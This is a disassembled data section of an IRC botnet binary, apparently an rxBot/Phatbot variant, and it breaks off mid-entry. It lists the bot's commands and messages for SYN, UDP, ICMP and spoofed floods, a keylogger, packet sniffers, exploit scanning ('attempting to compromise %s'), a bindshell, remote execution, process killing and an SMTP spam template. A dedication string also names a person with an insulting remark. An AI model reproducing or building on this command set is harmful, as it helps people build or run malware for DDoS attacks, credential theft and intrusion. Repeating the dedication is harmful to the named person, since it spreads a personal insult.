aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_42A7FC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
align 10h
unk_42A850 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A888 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
unk_42A8D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42A908 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A940 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o
unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo
align 4
aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co
unk_42A9CC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o
align 4
aP: ; DATA XREF: sub_401ACD+5059o
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o
align 10h
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo
align 4
aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o
align 10h
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo
aU: ; DATA XREF: sub_401ACD+4FE6o
; ___:00437F90o
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o
align 4
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+4FA1o
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co
align 4
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo
align 4
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o
align 10h
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo
align 10h
aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o
align 4
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o
align 4
aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo
align 10h
aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o
align 10h
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o
align 4
dword_42AB0C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co
aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42AB48 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao
align 10h
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o
; sub_401ACD+52BDo
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co
align 10h
unk_42AB90 db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0
align 10h
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o
; sub_412B08:loc_412C34o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo
; sub_412B08:loc_412C18o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o
; sub_412B08+F1o
align 10h
aC: ; DATA XREF: sub_401ACD+4BCCo
; ___:00437C48o ...
unicode 0, <c>,0
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co
align 4
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o
align 10h
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo
align 4
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o
align 4
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o
align 10h
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o
align 4
aE: ; DATA XREF: sub_401ACD+4B02o
; ___:00437C00o ...
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo
aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o
align 10h
aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo
align 4
aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o
align 10h
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo
align 4
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o
; sub_401ACD+6BE7o
align 4
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o
aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co
align 4
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo
align 10h
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo
align 4
aM: ; DATA XREF: sub_401ACD+4908o
; ___:00437C58o
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo
align 10h
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o
align 4
aA: ; DATA XREF: sub_401ACD+48ACo
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o
align 10h
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o
align 4
aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o
align 10h
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo
aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo
aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o
aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o
unk_42AD20 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42AD3C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 10h
aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo
; sub_409B12+5F0o
align 4
unk_42AD68 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42AD88 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o
align 10h
unk_42ADB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 10h
unk_42ADD0 db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 4
aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao
align 4
aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o
align 10h
aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o
align 4
unk_42AE18 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o
align 4
unk_42AE64 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o
dword_42AEA0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o
aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0
align 4
dword_42AEDC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o
aKeyLoggerActiv db '- Key logger active.',0
align 10h
dword_42AF00 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o
aAlreadyRunning db '- Already running.',0
align 10h
dword_42AF20 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr db '- No key logger thread found.',0
align 4
dword_42AF4C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o
aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o
align 10h
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o
align 4
dword_42AF98 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o
aNoThreadFound_ db '- No thread found.',0
align 4
dword_42AFB8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 10h
dword_42AFF0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o
aFailedToSta_16 db '- Failed to start server, error: <%d>.',0
align 4
dword_42B024 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 10h
dword_42B050 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o
aAlreadyRunni_0 db '- Already running.',0
align 10h
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o
align 4
unk_42B078 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
unk_42B0A8 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B0E8 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B124 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 4
unk_42B154 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_1 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo
dword_42B17C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B1A8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 4
dword_42B1E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao
aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0
align 10h
dword_42B220 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 10h
dword_42B250 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o
aAlreadyRunni_2 db '- Already running.',0
align 10h
aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o
; sub_401ACD+41C6o ...
align 4
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do
align 4
aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o
align 10h
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o
align 4
aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo
align 10h
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo
aV: ; DATA XREF: sub_401ACD+3FCAo
; ___:00437C4Co ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o
align 10h
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o
align 4
aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo
align 4
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o
align 10h
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o
; sub_401ACD+4644o
align 4
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o
align 10h
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do
align 4
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o
align 4
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo
align 4
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o
align 4
aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo
align 4
aO: ; DATA XREF: sub_401ACD+3E7Ao
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o
; sub_401ACD+590Bo ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o
align 4
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo
align 10h
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo
align 4
aJ: ; DATA XREF: sub_401ACD+3D54o
; ___:00437C34o
unicode 0, <j>,0
aN: ; DATA XREF: sub_401ACD+3D2Ao
; ___:00437C54o
unicode 0, <n>,0
unk_42B350 db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o
align 4
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o
align 4
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o
dword_42B3B0 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401ACD+3AEFo
; sub_401ACD+3B26o
dd 0
dword_42B3C8 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401ACD+3AB8o
dd 1
dword_42B3E0 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401ACD+3A81o
; sub_401ACD+3B98o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o
; sub_401ACD+39D3o ...
align 4
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do
align 4
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o
; sub_401ACD+3D15o
align 4
dword_42B428 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401ACD+36E8o
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B450 dd 636364h ; DATA XREF: sub_401ACD+366Bo
dword_42B454 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B460 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o
; sub_401ACD+3762o ...
dword_42B468 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o
; sub_40ACB5+4Fo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o
; sub_401ACD+3578o ...
align 4
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o
align 10h
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o
; sub_401ACD+3D69o
align 10h
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o
; sub_401ACD+354Co ...
aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o
; sub_401ACD+3D3Fo
align 10h
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o
align 4
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o
; sub_401ACD+48F1o
align 4
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao
align 4
aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo
align 4
dword_42B4D8 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401ACD+32EEo
dword_42B4EC dd 7463h ; DATA XREF: sub_401ACD+329Fo
dword_42B4F0 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
; sub_401ACD+38A8o ...
dword_42B500 dd 5Fh ; DATA XREF: sub_401ACD+3253o
; sub_401ACD+32BFo ...
dword_42B504 dd 6D70h ; DATA XREF: sub_401ACD+3233o
; sub_401ACD+487Eo
unk_42B508 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 4
aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo
align 4
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o
align 4
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o
aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo
align 10h
unk_42B570 db 2Dh ; - ; DATA XREF: sub_401ACD+3120o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 10h
unk_42B5B0 db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 10h
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o
unk_42B5E8 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42B614 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo
align 4
unk_42B654 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o
; sub_401ACD+3F61o
unk_42B690 db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_42B6BC db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
dword_42B6E8 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do
unk_42B6F8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 4
dword_42B7A8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo
aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0
align 4
dword_42B7E4 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401ACD+2DD1o
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o
align 4
unk_42B818 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42B858 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42B884 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o
aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0
align 10h
dword_42B8C0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42B8E8 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o
dword_42B8F8 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B904 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B914 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o
dword_42B924 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_401ACD+2A95o
dd 676E6974h, 2Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
; sub_401ACD:loc_409778o ...
align 4
dword_42B958 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_401ACD+2A73o
dd 6E697463h, 2E67h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
; sub_401ACD+7A7Eo
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
align 4
unk_42B9A8 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 4
dword_42B9D4 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: sub_401ACD+29D8o
dd 2E7325h
unk_42B9EC db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o
db 3, 34h, 2
db 74h ; t
